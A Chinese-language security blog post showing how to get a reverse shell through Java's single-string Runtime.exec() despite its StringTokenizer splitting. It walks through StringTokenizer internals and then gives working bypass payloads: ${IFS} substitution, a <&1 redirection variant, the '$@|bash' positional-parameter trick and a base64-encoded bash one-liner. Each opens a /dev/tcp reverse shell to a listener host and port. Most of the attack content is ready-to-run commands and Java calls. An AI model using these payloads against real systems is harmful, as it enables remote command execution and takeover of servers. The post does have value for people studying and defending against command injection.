繞過exec獲取反彈shell
前面寫了一篇在Java環境下獲取shell的文章。當時使用的語句是:
Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"}); p.waitFor();
其中在 exec()
中我們是傳入了多個引數,可是如果實際的環境是 Runtime.getRuntime().exec(String cmd)
只能允許我們傳入一個引數,又該如何getshell呢?
exec分析
我們分析一下 Runtime
中的 exec()
函式:
在 java.lang.Runtime()
中存在多個過載的 exec()
方法,如下所示:
public Process exec(String command) public Process exec(String command, String[] envp) public Process exec(String command, String[] envp, File dir) public Process exec(String cmdarray[]) public Process exec(String[] cmdarray, String[] envp) public Process exec(String[] cmdarray, String[] envp, File dir)
除了常見的 exec(String command)
和 exec(String cmdarray[])
,其他 exec()
都增加了 envp
和 File
這些限制。雖然如此,但是最終都是呼叫相同的方法,本質沒有卻區別。這些函式存在的意義可以簡要地參考 ofollow,noindex">呼叫java.lang.Runtime.exec的正確姿勢
分析 exec(String cmdarray[])
和 exec(String command)
:
// exec(String command) 函式 public Process exec(String command) throws IOException { return exec(command, null, null); } ... public Process exec(String command, String[] envp, File dir) throws IOException { if (command.length() == 0) throw new IllegalArgumentException("Empty command"); StringTokenizer st = new StringTokenizer(command); String[] cmdarray = new String[st.countTokens()]; for (int i = 0; st.hasMoreTokens(); i++) cmdarray[i] = st.nextToken(); return exec(cmdarray, envp, dir); } ... // exec(String cmdarray[]) public Process exec(String cmdarray[]) throws IOException { return exec(cmdarray, null, null); }
可以看到 exec(String cmdarray[])
和 exec(String command)
最終都是呼叫的 exec(cmdarray, null, null)
。 exec(String command)
通過 StringTokenizer st = new StringTokenizer(command);
將其分割為Token之後作為字串陣列,呼叫 exec(cmdarray, null, null)
。
分析 StringTokenizer(String str)
:
public StringTokenizer(String str) { this(str, " \t\n\r\f", false); }
將字一個字串使用 \t\n\r\f
這些字元進行分割。嘗試:
String testStr = "a b\tc\nd\re\fg"; StringTokenizer st = new StringTokenizer(testStr); for (int i = 0; st.hasMoreTokens(); i++) System.out.println(st.nextToken()); 輸出結果: a b c d e g
bypass exec
如果直接嘗試執行
Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
那麼最終執行到 exec(cmdarray, envp, dir);
時, cmdarray
的引數結果是:
1 | 2 | 3 | 4 | 5
–|—|—|—|–
bash | -i | >& | /dev/tcp/ip/port | 0>&1
而我們執行 r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
,執行到 exec(cmdarray, envp, dir);
時, cmdarray
的引數結果是:
1 | 2 | 3
–|—|–
/bin/bash | -c | bash -i >& /dev/tcp/ip/port 0>&1
其最終的結果就是 Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
沒有任何的反應,但是 r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});
可以成功地反彈shell。
那麼現在的問題就轉換成為能否找到一個替換字元,使其通過 StringTokenizer(String str)
不進行分割,但是又被 /bin/bash
能夠正確地識別為空格的字元。
IFS
在Linux環境中, ${IFS}
是一個內建的變數,用於標示命令中引數的分隔符。通常他的取值是空格+TAB+換行(0x20 0x09 0x0a)。嘗試:
$ echo "abc" | hexdump -C 0000000061 62 63 0a|abc.| 00000004 $ echo "a${IFS}b${IFS}c"|hexdump -C 0000000061 20 09 0a 62 20 09 0a63 0a|a ..b ..c.| 0000000a
結果就顯示出了 ${IFS}
其實就是 0x20 0x09 0x0a
。嘗試利用 ${IFS}
,於是我們的程式碼變成了:
Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1");
發現執行完畢之後出現了 /bin/bash: ${IFS}/dev/tcp/118.24.152.245/8888${IFS}0: ambiguous redirect
錯誤。發現當執行到時 java.lang.Runtime:Process exec(String command, String[] envp, File dir)
,資訊如下:
那麼就說明利用 ${IFS}
執行 /bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1
確實能夠繞過Java的分隔符。我們直接在bash中嘗試:
spoock@ubuntu:~/Desktop$/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1 bash: ${IFS}/dev/tcp/127.0.0.1/8888${IFS}0: ambiguous redirect
同樣會出現 ambiguous redirect
的錯誤,如果嘗試將 /dev/tcp/127.0.0.1/8888${IFS}0>&1
替換為 /dev/tcp/127.0.0.1/8888$ 0>&1
,即 /bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1
就能夠成功地進行反彈shell了。使用 zsh
進行嘗試 /bin/zsh -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
,同樣會出現 ambiguous redirect
那麼就是說明可能上述的寫法不符合 shell
的語法。
最終進行測試,在 /bin/bash -c bash>x${IFS}0
就會出現 ambiguous redirect
問題,猜測可能是 x${IFS}0
才會出現這樣的問題,至於為什麼會出現的這樣的問題,希望有大牛能夠幫忙解答一下。
所以如果使用 /bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
就一定不行了嗎?我們目前已經知道 /bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1
是可以反彈shell的,那麼問題的關鍵就是在這種 /bin/zsh -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
情況下的
${IFS} 繞過。我們檢視
bash 中有什麼語法可供我們使用。
bash manpage`
Duplicating File Descriptors The redirection operator [n]<&word is used to duplicate input file descriptors.If word expands to one or more digits, the file descriptor denoted by n is made to be a copy of that file descriptor.If the digits inworddo notspecify a file descriptor open for input, a redirection error occurs.If word evaluates to -, file descriptor n is closed.If n is not specified, the standard input (file descriptor 0) is used. The operator [n]>&word is used similarly to duplicate output file descriptors.If n is not specified, the standard output (file descriptor 1) is used.If the digits in word do not specify a filedescriptoropen foroutput,aredirectionerror occurs.If word evaluates to -, file descriptor n is closed.As a special case, if n is omitted, and word does not expand to one or more digits or -, the standard output and standard error are redirected as described previously.
對於 [n]<&word
,發現有 If n is not specified, the standard input (file descriptor 0) is used
,貌似就可以解決我們的問題。那麼我們可以改寫為:
/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1
可以完美實現反彈shell,檢視其fd資訊如下:
spoock@ubuntu:~/Desktop$ ls -all/proc/10434/fd total 0 dr-x------ 2 spoock spoock0 Nov 25 06:44 . dr-xr-xr-x 9 spoock spoock0 Nov 25 06:44 .. lrwx------ 1 spoock spoock 64 Nov 25 06:44 0 -> socket:[77646] lrwx------ 1 spoock spoock 64 Nov 25 06:44 1 -> socket:[77646] lrwx------ 1 spoock spoock 64 Nov 25 06:44 2 -> socket:[77646]
檔案描述符0,1,2都指向了socket。既然這種可以,我們嘗試利用Java進行反彈shell,
Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1");
也能夠執行反彈shell。
$@
發現在 linux
中還存在 $@
和 $*
,他們的含義都是 list of all arguments passed to the script
。進行一個簡單的實驗:
ifsargs.sh
#!/bin/bash # ifsargs.sh - Cmd args - positional parameter demo echo "Command-Line Arguments Demo" echo "*** All args displayed using \$@ positional parameter ***" echo $@ echo "*** All args displayed using \$* positional parameter ***" echo $*
執行得到的結果是:
spoock@ubuntu:~/Desktop$ ./ifsargs.sh foo bar test Command-Line Arguments Demo *** All args displayed using $@ positional parameter *** foo bar test *** All args displayed using $* positional parameter *** foo bar test
那麼我們就可以利用 來反彈shell了。看
bash
語法:
bash [options] [command_string | file] -cIf the -c option is present, then commands are read from the first non-option argument command_string.If there are arguments after the command_string, they are assigned to the positional parameters, starting with $0.
結合 bash
和 $@
,我們可以變為:
/bin/sh -c '$@|sh' xxxecho ls
可以成功地執行 ls
。分析下這個命令,當 bash
解析到 '$@|sh' xxx echo ls
,發現 $@
。 $@
需要取指令碼的引數,那麼就會解析 xxx echo ls
,由於 $@
只會取指令碼引數,會將第一個引數認為是指令碼名稱(認為 xxx
是指令碼名稱),就會取到 echo ls
。那麼最終執行的就是 echo ls|sh
,就可以成功地執行 ls
命令了。
利用上面這個 trick
,那麼我們就可以執行任意命令了,包括反彈shell。如 /bin/bash -c '$@|bash' 0 echo 'bash -i >&/dev/tcp/ip/port 0>&1'
最終可以成功地反彈shell。我們利用Java進行測試:
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");
最終在 JAVA
中的陣列的結果如下:

最終相當於執行了 echo 'bash -i >&/dev/tcp/127.0.0.1/8888 0>&1'|bash
命令,成功反彈shell。同樣地, /bin/bash -c $*|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1
也是可以的。
base64 decode
java.lang.Runtime.exec() Payload Workarounds 對payload進行 base64
編碼從而繞過 exec()
。 bash -i >&/dev/tcp/127.0.0.1/8888 0>&1
經過轉換變為 bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
。測試:
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
成功執行反彈shell。
總結
沒事多讀讀文件,需要多瞭解熟悉 Linux